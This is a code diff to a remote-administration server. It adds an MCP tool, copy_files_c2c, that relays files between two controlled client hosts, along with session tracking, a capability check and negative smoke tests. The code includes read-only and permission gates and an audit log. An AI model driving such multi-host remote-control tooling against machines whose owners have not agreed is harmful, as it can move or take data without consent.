tool["outputSchema"] = BuildCopyFilesC2COutputSchema(); + tools.append(tool); + } + // 18) kill_process / operate_window / control_service / power_action(P7:设备管理控制, // 仅 Windows,安全门:McpManage=1 且 McpReadonly=0) if (CMcpServer::Instance().IsManageEnabled() && !CMcpServer::Instance().IsReadonly()) { @@ -5077,6 +5092,250 @@ std::string BuildUploadFile(const Json::Value& id, const Json::Value& args, CMy2 return BuildError(id, -32001, msg); } +// ========== C2C 文件传输:copy_files_c2c ========== + +Json::Value BuildCopyFilesC2CInputSchema() { + Json::Value props(Json::objectValue); + + Json::Value src(Json::objectValue); + src["type"] = "string"; + src["description"] = u8"源主机 id(文件从这里发出),取 list_online_hosts / search_hosts 返回的 id"; + props["src_id"] = src; + + Json::Value dst(Json::objectValue); + dst["type"] = "string"; + dst["description"] = u8"目标主机 id(文件落在这里),同上"; + props["dst_id"] = dst; + + Json::Value paths(Json::objectValue); + paths["type"] = "array"; + Json::Value pathItems(Json::objectValue); + pathItems["type"] = "string"; + paths["items"] = pathItems; + paths["description"] = u8"源主机上的绝对路径列表(文件或目录;目录递归发送,保留相对目录结构)"; + props["paths"] = paths; + + Json::Value dir(Json::objectValue); + dir["type"] = "string"; + dir["description"] = u8"目标主机保存目录(绝对路径,不存在自动创建),如 D:\\Incoming"; + props["dst_dir"] = dir; + + Json::Value to(Json::objectValue); + to["type"] = "integer"; + to["description"] = u8"超时毫秒(默认 600000=10 分钟,上限 3600000=1 小时);超时不代表传输失败"; + props["timeout_ms"] = to; + + Json::Value schema(Json::objectValue); + schema["type"] = "object"; + schema["properties"] = props; + Json::Value required(Json::arrayValue); + required.append("src_id"); + required.append("dst_id"); + required.append("paths"); + required.append("dst_dir"); + schema["required"] = required; + return schema; +} + +Json::Value BuildCopyFilesC2COutputSchema() { + Json::Value props(Json::objectValue); + Json::Value s1(Json::objectValue); s1["type"] = "string"; props["transfer_id"] = s1; + Json::Value s2(Json::objectValue); s2["type"] = "string"; props["src_id"] = s2; + Json::Value s3(Json::objectValue); s3["type"] = "string"; props["dst_id"] = s3; + Json::Value s4(Json::objectValue); s4["type"] = "string"; props["dst_dir"] = s4; + Json::Value s5(Json::objectValue); s5["type"] = "integer"; props["file_count"] = s5; + Json::Value s6(Json::objectValue); s6["type"] = "integer"; props["total_bytes"] = s6; + Json::Value s7(Json::objectValue); s7["type"] = "boolean"; props["receiver_ack"] = s7; + + Json::Value schema(Json::objectValue); + schema["type"] = "object"; + schema["properties"] = props; + return schema; +} + +// 取一个十进制主机 id 字符串字段(src_id / dst_id),与 ParseHostIdArg 同规则但不绑定 "id" 键。 +static bool ParseIdField(const Json::Value& args, const char* key, uint64_t& out, std::string& err) { + std::string s = GetStringArg(args, key); + if (s.empty()) { err = std::string("Missing required parameter: ") + key; return false; } + for (char c : s) { + if (c < '0' || c > '9') { + err = std::string("Invalid ") + key + ": expected a decimal host id string"; + return false; + } + } + out = strtoull(s.c_str(), nullptr, 10); + if (out == 0) { err = std::string("Invalid ") + key + ": host id must be non-zero"; return false; } + return true; +} + +// tools/call:copy_files_c2c(源主机 → 目标主机直接传文件;服务端只做中继,不落盘) +// 报文:COMMAND_C2C_SEND_FILES(服务端 → 源主机主连接)→ 源端自开子连接上行 +// → 服务端 COMMAND_SEND_FILE_V2 转发分支按 dstClientID 中继到目标主机主连接 +// → 源端 TOKEN_C2C_SEND_RESULT 回传结果(本线程等的就是它)。 +std::string BuildCopyFilesC2C(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent) { + CMcpServer& mcp = CMcpServer::Instance(); + if (!mcp.IsFileTransferEnabled()) + return BuildError(id, -32006, "File transfer is disabled: requires McpFileTransfer=1"); + if (mcp.IsReadonly()) + return BuildError(id, -32006, "copy_files_c2c is disabled: MCP is in read-only mode (set McpReadonly=0 to enable)"); + + uint64_t srcId = 0, dstId = 0; + std::string err; + if (!ParseIdField(args, "src_id", srcId, err)) return BuildError(id, -32602, err); + if (!ParseIdField(args, "dst_id", dstId, err)) return BuildError(id, -32602, err); + if (srcId == dstId) + return BuildError(id, -32602, "src_id and dst_id must be different hosts"); + + context* srcCtx = FindMainContext(parent, srcId); + if (!srcCtx) + return BuildError(id, -32002, "Source host not found or offline: " + std::to_string(srcId)); + context* dstCtx = FindMainContext(parent, dstId); + if (!dstCtx) + return BuildError(id, -32002, "Destination host not found or offline: " + std::to_string(dstId)); + + // 发送逻辑只在 Windows 客户端实现(client/KernelManager.cpp);目标端只按 V2 收包,无新能力位要求。 + CString srcType = srcCtx->GetAdditionalData(RES_CLIENT_TYPE); + if (srcType == "LNX" || srcType == "MAC") + return BuildError(id, -32005, "copy_files_c2c requires a Windows source host"); + if (!srcCtx->SupportsFileV2()) + return BuildError(id, -32006, "Source host does not support V2 file transfer"); + if (!srcCtx->SupportsC2CPaths()) + return BuildError(id, -32005, "Source host client is too old: upgrade it to a build that supports copy_files_c2c"); + if (!dstCtx->SupportsFileV2()) + return BuildError(id, -32006, "Destination host does not support V2 file transfer"); + // 目标端也必须是 Windows:dst_dir 由源端拼进每个块的 name 字段(绝对 Windows 路径), + // 非 Windows 接收端拿不到 COMMAND_C2C_PREPARE 设置的目标目录,会把 C:\x\y 去盘符后 + // 当绝对路径写(common/FileTransferV2.h:224)——落到 /x/y 并要求 root 权限。 + CString dstType = dstCtx->GetAdditionalData(RES_CLIENT_TYPE); + if (dstType == "LNX" || dstType == "MAC") + return BuildError(id, -32005, "copy_files_c2c requires a Windows destination host: " + "non-Windows clients cannot honour dst_dir yet"); + + std::string dstDirUtf8 = GetStringArg(args, "dst_dir"); + if (dstDirUtf8.empty()) + return BuildError(id, -32602, "Missing required parameter: dst_dir"); + + const Json::Value& paths = args["paths"]; + if (!paths.isArray() || paths.size() == 0) + return BuildError(id, -32602, "Missing or invalid parameter: paths (non-empty string array)"); + + int timeoutMs = 600000; + if (args.isMember("timeout_ms")) { + int v = 0; + if (!GetIntArg(args, "timeout_ms", v) || v <= 0 || v > 3600000) + return BuildError(id, -32602, "timeout_ms must be in range 1..3600000"); + timeoutMs = v; + } + + // 目标目录:UTF-8 → 目标端 ANSI(936),去尾斜杠后统一补一个 '\'(作 targetDir 前缀)。 + std::string dstDirAnsi = ToAnsi(dstDirUtf8, 936); + if (dstDirAnsi.empty()) + return BuildError(id, -32602, "Invalid dst_dir encoding"); + while (!dstDirAnsi.empty() && (dstDirAnsi.back() == '\\' || dstDirAnsi.back() == '/')) + dstDirAnsi.pop_back(); + if (dstDirAnsi.empty() || HasDotDotSegment(dstDirAnsi)) + return BuildError(id, -32602, "Invalid dst_dir: " + dstDirUtf8); + dstDirAnsi += "\\"; + + std::vector pathAnsi; + for (unsigned int i = 0; i < paths.size(); ++i) { + if (!paths[i].isString()) + return BuildError(id, -32602, "paths must be an array of strings"); + const std::string u8 = paths[i].asString(); + std::string ansi = ToAnsi(u8, 936); + if (ansi.empty()) + return BuildError(id, -32602, "Invalid path encoding: " + u8); + if (HasDotDotSegment(ansi)) + return BuildError(id, -32602, "paths must not contain '..' segments: " + u8); + pathAnsi.push_back(ansi); + } + + const uint64_t transferID = GenerateTransferID(); + if (!mcp.BeginC2CTransfer(srcId, dstId, transferID)) + return BuildError(id, -32003, "Device busy: source or destination host already has a transfer in flight"); + + // 组包:[C2CSendFilesPacket][dstDir\0][path1\0]...[pathN\0][\0] + C2CSendFilesPacket hdr = {}; + hdr.cmd = (uint8_t)COMMAND_C2C_SEND_FILES; + hdr.transferID = transferID; + hdr.srcClientID = srcId; + hdr.dstClientID = dstId; + hdr.flags = 0; + strncpy_s(hdr.hash, sizeof(hdr.hash), GetPwdHash().c_str(), _TRUNCATE); + strncpy_s(hdr.hmac, sizeof(hdr.hmac), GetHMAC(100).c_str(), _TRUNCATE); + + std::vector pkt; + pkt.reserve(sizeof(hdr) + dstDirAnsi.size() + 2); + pkt.insert(pkt.end(), (const BYTE*)&hdr, (const BYTE*)&hdr + sizeof(hdr)); + pkt.insert(pkt.end(), dstDirAnsi.begin(), dstDirAnsi.end()); + pkt.push_back(0); + for (const std::string& p : pathAnsi) { + pkt.insert(pkt.end(), p.begin(), p.end()); + pkt.push_back(0); + } + pkt.push_back(0); + + if (!srcCtx->Send2Client(pkt.data(), (ULONG)pkt.size())) { + mcp.ClearFileTransfer(srcId); + return BuildError(id, -32004, "Failed to send command to source host"); + } + + CMcpServer::C2CResult r; + bool ok = mcp.WaitC2CDone(srcId, timeoutMs, r); + mcp.ClearFileTransfer(srcId); + + if (!ok) { + // 1002 = 工具线程等超时(源端可能仍在发),其余是源端主动回报的失败。 + if (r.error == 1002) + return BuildError(id, -32001, "Timeout waiting for the source host to finish sending (transfer may still be running; verify the destination with list_files)"); + + if (r.status == (uint32_t)FEV2_FILE_NOT_FOUND || r.status == (uint32_t)FEV2_ACCESS_DENIED) { + const bool denied = (r.win32err == 5) || (r.status == (uint32_t)FEV2_ACCESS_DENIED); + std::string msg = denied + ? "Source path access denied (win32=" + std::to_string(r.win32err) + ")" + : "Source path not found or inaccessible (win32=" + std::to_string(r.win32err) + ")"; + return BuildError(id, denied ? -32010 : -32009, msg); + } + std::string msg = "C2C transfer failed on the source host (status=" + std::to_string(r.status) + + ", win32=" + std::to_string(r.win32err) + + ", worker_rc=" + std::to_string((int)r.workerRc) + ")"; + return BuildError(id, -32000, msg); + } + + // 审计(不可关闭;只记主机 id、目录与字节数,不落文件名以外的内容) + if (parent) { + std::string audit = "host " + std::to_string(srcId) + " -> host " + std::to_string(dstId) + + " copy_files_c2c: " + dstDirUtf8 + " (" + std::to_string(r.fileCount) + + " files, " + std::to_string(r.totalBytes) + " bytes)"; + parent->PostMessageA(WM_SHOWERRORMSG, + (WPARAM)new CString(ToAnsi(audit, 936).c_str()), + (LPARAM)new CString(_TR("MCP文件传输"))); + } + + Json::Value result(Json::objectValue); + Json::Value sc(Json::objectValue); + sc["transfer_id"] = std::to_string(transferID); + sc["src_id"] = std::to_string(srcId); + sc["dst_id"] = std::to_string(dstId); + sc["dst_dir"] = dstDirUtf8; + sc["file_count"] = (Json::UInt)r.fileCount; + sc["total_bytes"] = (Json::UInt64)r.totalBytes; + // V2 没有「目标端已校验」的回执回到服务端:目标端校验失败只记在目标主机日志里。 + sc["receiver_ack"] = false; + result["structuredContent"] = sc; + + Json::Value content(Json::arrayValue); + Json::Value item(Json::objectValue); + item["type"] = "text"; + item["text"] = std::string(u8"C2C 发送完成:") + std::to_string(r.fileCount) + u8" 个文件(" + + std::to_string(r.totalBytes) + u8" 字节),目标主机保存目录 " + dstDirUtf8 + + u8"。目标端无回执:请用 list_files 或 exec_command 在目标主机上复核。"; + content.append(item); + result["content"] = content; + result["isError"] = false; + return BuildResult(id, result); +} + // ========== P7:设备管理控制 ========== // kill_process:主连接 COMMAND_SYSTEM → 系统子连接 TOKEN_PSLIST(就绪)→ COMMAND_KILLPROCESS @@ -6377,6 +6636,7 @@ std::string DispatchSingleHostTool(const Json::Value& id, const std::string& too if (toolName == "remote_clipboard") return BuildRemoteClipboard(id, args, parent); if (toolName == "download_file") return BuildDownloadFile(id, args, parent); if (toolName == "upload_file") return BuildUploadFile(id, args, parent); + if (toolName == "copy_files_c2c") return BuildCopyFilesC2C(id, args, parent); if (toolName == "kill_process") return BuildKillProcess(id, args, parent); if (toolName == "operate_window") return BuildOperateWindow(id, args, parent); if (toolName == "control_service") return BuildControlService(id, args, parent); @@ -7728,6 +7988,13 @@ bool CMcpServer::IsFileTransferPending(uint64_t device_id) { return m_FileXferSessions.find(device_id) != m_FileXferSessions.end(); } +bool CMcpServer::IsC2CTransferPending(uint64_t src_id, uint64_t dst_id) { + std::lock_guard lk(m_FileXferMutex); + auto it = m_FileXferSessions.find(src_id); + return it != m_FileXferSessions.end() + && it->second.tool == "copy_files_c2c" && it->second.dstClientID == dst_id; +} + bool CMcpServer::BeginFileTransferPending(uint64_t device_id, const std::string& tool, const std::string& localDir, const std::string& remotePath, bool overwrite) { @@ -7765,6 +8032,82 @@ bool CMcpServer::BeginFileUpload(uint64_t device_id) { return true; } +// ===== C2C 文件传输(copy_files_c2c)===== +// 源客户端收到 COMMAND_C2C_SEND_FILES 后自己开子连接上行,数据包由服务端的 +// COMMAND_SEND_FILE_V2 转发分支(dstClientID != 0)原样中继到目标客户端主连接, +// 服务端不落盘、不解析文件内容;本会话只用来「等源端回传结果 + 单设备单传输互斥」。 +bool CMcpServer::BeginC2CTransfer(uint64_t src_id, uint64_t dst_id, uint64_t transfer_id) { + if (src_id == 0 || src_id == dst_id) return false; + { + // 与一次性挂起请求互斥(F2):先查对方注册表再查自己的,避免跨锁嵌套死锁。 + std::lock_guard lk(m_PendingMutex); + if (m_Pending.find(src_id) != m_Pending.end()) return false; + if (m_Pending.find(dst_id) != m_Pending.end()) return false; + } + std::lock_guard lk(m_FileXferMutex); + if (m_FileXferSessions.find(src_id) != m_FileXferSessions.end()) return false; // 单设备单传输 + if (m_FileXferSessions.find(dst_id) != m_FileXferSessions.end()) return false; // 目标端另有在飞传输 + FileTransferSession s; + s.tool = "copy_files_c2c"; + s.dstClientID = dst_id; + s.transferID = transfer_id; + s.startAt = time(nullptr); + s.lastDataAt = std::chrono::steady_clock::now(); + m_FileXferSessions[src_id] = std::move(s); + return true; +} + +void CMcpServer::OnC2CResult(uint64_t src_id, const BYTE* buf, ULONG len) { + if (len < sizeof(C2CSendResultPacket)) return; + const C2CSendResultPacket* res = (const C2CSendResultPacket*)buf; + std::lock_guard lk(m_FileXferMutex); + auto it = m_FileXferSessions.find(src_id); + if (it == m_FileXferSessions.end() || it->second.tool != "copy_files_c2c") return; + FileTransferSession& s = it->second; + if (s.c2cResult || res->transferID != s.transferID) return; // 首个结果为准,旧传输的迟到包忽略 + s.c2cResult = true; + s.c2cStatus = res->status; + s.c2cWin32 = res->win32err; + s.c2cWorkerRc = res->workerRc; + s.c2cFileCount = res->fileCount; + s.c2cBytes = res->totalBytes; + s.done = true; + s.error = (res->status == (uint32_t)FEV2_OK && res->workerRc == 0) + ? 0 : (int)(res->status ? res->status : 1001); + m_FileXferCv.notify_all(); +} + +bool CMcpServer::WaitC2CDone(uint64_t src_id, int timeoutMs, C2CResult& out) { + std::unique_lock lk(m_FileXferMutex); + auto it = m_FileXferSessions.find(src_id); + if (it == m_FileXferSessions.end()) { out.error = 1002; return false; } + + // 只有总超时,没有停滞看门狗:源端全程只在最后回一包结果,中途长时间无包是正常的 + // (大文件传输),按「无数据即停滞」判会误杀。 + const auto deadline = std::chrono::steady_clock::now() + std::chrono::milliseconds(timeoutMs); + bool signaled = false; + while (true) { + auto slice = std::chrono::milliseconds(500); + auto now = std::chrono::steady_clock::now(); + if (now + slice > deadline) slice = std::chrono::duration_cast(deadline - now); + if (slice.count() <= 0) break; // 总超时 + if (m_FileXferCv.wait_for(lk, slice, [&] { return it->second.done; })) { + signaled = true; + break; + } + } + + FileTransferSession& s = it->second; + out.status = s.c2cStatus; + out.win32err = s.c2cWin32; + out.workerRc = s.c2cWorkerRc; + out.fileCount = s.c2cFileCount; + out.totalBytes = s.c2cBytes; + if (!signaled && !s.done) { out.error = 1002; return false; } // 超时:传输可能仍在继续 + out.error = s.error; + return s.c2cResult && s.error == 0; +} + bool CMcpServer::OnDownloadDriveList(uint64_t device_id, context* fmSubCtx) { std::string localDir, remotePath; { diff --git a/server/2015Remote/McpServer.h b/server/2015Remote/McpServer.h index 7bbffa1..b77ec91 100644 --- a/server/2015Remote/McpServer.h +++ b/server/2015Remote/McpServer.h @@ -273,6 +273,11 @@ public: // 该 host 是否有进行中的文件传输会话(MessageHandle 分派守卫)。 bool IsFileTransferPending(uint64_t device_id); + // 该 host 上是否有「MCP 发起的 C2C 传输」正发往 dst_id。用于 COMMAND_SEND_FILE_V2 + // 转发分支:MCP 的 C2C 不给源端子连接挂进度对话框(挂上后子连接的后续包会被路由到 + // 对话框而不是 MessageHandle,源端最后的 TOKEN_C2C_SEND_RESULT 就会丢)。 + bool IsC2CTransferPending(uint64_t src_id, uint64_t dst_id); + // 登记文件传输会话(false = 该 host 已有文件会话或一次性挂起请求)。 bool BeginFileTransferPending(uint64_t device_id, const std::string& tool, const std::string& localDir, const std::string& remotePath, @@ -283,6 +288,28 @@ public: // (无 fmSubCtx/streamSubCtx,ClearFileTransfer 对空指针安全)。 bool BeginFileUpload(uint64_t device_id); + // ===== C2C 文件传输(copy_files_c2c:源客户端 → 目标客户端,服务端只做中继)===== + // 会话键控在「源」设备上:工具线程只等源客户端回传的 TOKEN_C2C_SEND_RESULT, + // 目标端的收发由服务端现有的 COMMAND_SEND_FILE_V2 转发分支完成(不经过 MCP)。 + struct C2CResult { + int error = 0; // 0=ok;1002=超时(工具侧);其余为客户端上报的 status + uint32_t status = 0; // C2CSendResultPacket.status(0=全部发出;FEV2_* / 1001) + DWORD win32err = 0; // 源端首个不可访问路径的 win32 码 + int32_t workerRc = 0; // FileBatchTransferWorkerV2 返回值 + uint32_t fileCount = 0; + uint64_t totalBytes = 0; + }; + + // 登记 C2C 会话(false = 源设备已有文件会话/挂起请求,或源==目标)。 + bool BeginC2CTransfer(uint64_t src_id, uint64_t dst_id, uint64_t transfer_id); + + // TOKEN_C2C_SEND_RESULT:源客户端回传发送结果,填会话并唤醒工具线程。 + // 无对应会话(迟到的结果、MFC 侧手写包)直接忽略。 + void OnC2CResult(uint64_t src_id, const BYTE* buf, ULONG len); + + // 工具线程:等源客户端回传结果;true=全部发出(error=0)。调用方随后 ClearFileTransfer(src)。 + bool WaitC2CDone(uint64_t src_id, int timeoutMs, C2CResult& out); + // TOKEN_DRIVE_LIST:识别 download_file,存文件管理器子链接并下发 CMD_DOWN_FILES_V2。 // 返回 true=已接管(保持子链接,收尾由 ClearFileTransfer);false=会话已清理(调用方 CancelIO)。 bool OnDownloadDriveList(uint64_t device_id, context* fmSubCtx); @@ -651,7 +678,14 @@ private: // ===== P6:文件传输会话(受 m_FileXferMutex 保护;单设备单传输)===== struct FileTransferSession { - std::string tool; // "download_file" / "upload_file" + std::string tool; // "download_file" / "upload_file" / "copy_files_c2c" + uint64_t dstClientID = 0; // copy_files_c2c:目标客户端(其余工具恒 0) + bool c2cResult = false; // copy_files_c2c:已收到源端结果包 + uint32_t c2cStatus = 0; // 结果包 status(0=全部发出) + DWORD c2cWin32 = 0; // 结果包 win32err + int32_t c2cWorkerRc = 0; // 结果包 workerRc + uint32_t c2cFileCount = 0; // 结果包 fileCount + uint64_t c2cBytes = 0; // 结果包 totalBytes std::string localDir; // download:本机保存目录(ANSI,结尾 '\') std::string remotePath; // 客户端远程路径(ANSI,发 CMD_DOWN_FILES_V2 用) bool overwrite = false; // 是否覆盖已存在文件 diff --git a/server/2015Remote/context.h b/server/2015Remote/context.h index d3979b3..fa18c80 100644 --- a/server/2015Remote/context.h +++ b/server/2015Remote/context.h @@ -81,6 +81,14 @@ public: return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_UTF8) != 0; } + // 检查客户端是否支持按服务端给出的路径清单向另一客户端发送文件(COMMAND_C2C_SEND_FILES)。 + // 只有 Windows 客户端实现该命令,老客户端无此能力位 → 服务端据此在 MCP 侧提前拒绝。 + bool SupportsC2CPaths() const { + CString caps = GetClientData(ONLINELIST_CAPABILITIES); + if (caps.IsEmpty()) return false; + return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_C2C_PATHS) != 0; + } + // 检查客户端是否支持屏幕预览(双击主机时拉缩略图)。 bool SupportsScreenPreview() const { CString caps = GetClientData(ONLINELIST_CAPABILITIES); diff --git a/tools/mcp_smoke.ps1 b/tools/mcp_smoke.ps1 index f445d54..17d51e0 100644 --- a/tools/mcp_smoke.ps1 +++ b/tools/mcp_smoke.ps1 @@ -292,6 +292,26 @@ if (-not $SkipHost -and $drive) { } else { Write-Host " download_file 未开启(McpFileTransfer),跳过下载负例。" -ForegroundColor Yellow } + + # copy_files_c2c:只测「不需要两台在线主机」的拒绝分支,避免冒烟改变远端文件。 + # 同主机 → -32602(参数被拒);目标不在线 → -32002(主机找不到)。 + if (@($tools | Where-Object { $_.name -eq 'copy_files_c2c' }).Count -gt 0) { + $c2cSame = Rpc '' $null 'copy_files_c2c' @{ + src_id = $HostId; dst_id = $HostId + paths = @($ghostDir + '\a.txt'); dst_dir = (Join-Path $env:TEMP 'mcp_smoke_c2c') + } + Check 'copy_files_c2c 同主机返回 -32602' ` + ($c2cSame.error -and [int]$c2cSame.error.code -eq -32602) ([string]$c2cSame.error.message) + + $c2cOff = Rpc '' $null 'copy_files_c2c' @{ + src_id = $HostId; dst_id = '1' + paths = @($ghostDir + '\a.txt'); dst_dir = (Join-Path $env:TEMP 'mcp_smoke_c2c') + } + Check 'copy_files_c2c 目标离线返回 -32002' ` + ($c2cOff.error -and [int]$c2cOff.error.code -eq -32002) ([string]$c2cOff.error.message) + } else { + Write-Host " copy_files_c2c 未开启(McpFileTransfer/McpReadonly),跳过 C2C 负例。" -ForegroundColor Yellow + } } # ===== 5. 策略拒绝(-32006) =====